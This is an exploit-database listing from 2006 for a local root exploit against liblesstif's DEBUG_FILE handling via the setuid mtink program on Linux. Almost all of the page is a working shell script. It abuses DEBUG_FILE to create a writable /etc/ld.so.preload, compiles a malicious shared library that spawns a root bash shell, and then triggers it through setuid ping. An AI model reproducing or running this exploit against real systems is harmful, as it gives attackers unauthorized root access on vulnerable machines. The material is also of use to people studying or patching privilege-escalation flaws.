[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

liblesstif <= 2-0.93.94-4mdk (DEBUG_FILE) Local Root Exploit

Author
Karol Wiesek
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-7565
Category
local exploits
Date add
07-08-2006
Platform
linux
============================================================
liblesstif <= 2-0.93.94-4mdk (DEBUG_FILE) Local Root Exploit
============================================================


#!/bin/sh
echo
echo "mtink libXm local root exploit"
echo "* karol@wiesek.pl *"
echo
umask 000
export DEBUG_FILE="/etc/ld.so.preload"
cat > /tmp/lib.c << _EOF
#include <unistd.h>
void _init(void)
{
	if (getuid()!=0 && geteuid()==0)
	{
		setuid(0);
		unlink("/etc/ld.so.preload");
		execl("/bin/bash", "bash", 0);
	}
}
_EOF
/usr/bin/gcc -o /tmp/lib.o -c /tmp/lib.c
/usr/bin/ld -shared -o /tmp/lib.so /tmp/lib.o
/usr/bin/mtink
echo "/tmp/lib.so" > /etc/ld.so.preload
/bin/ping




#  0day.today [2024-12-24]  #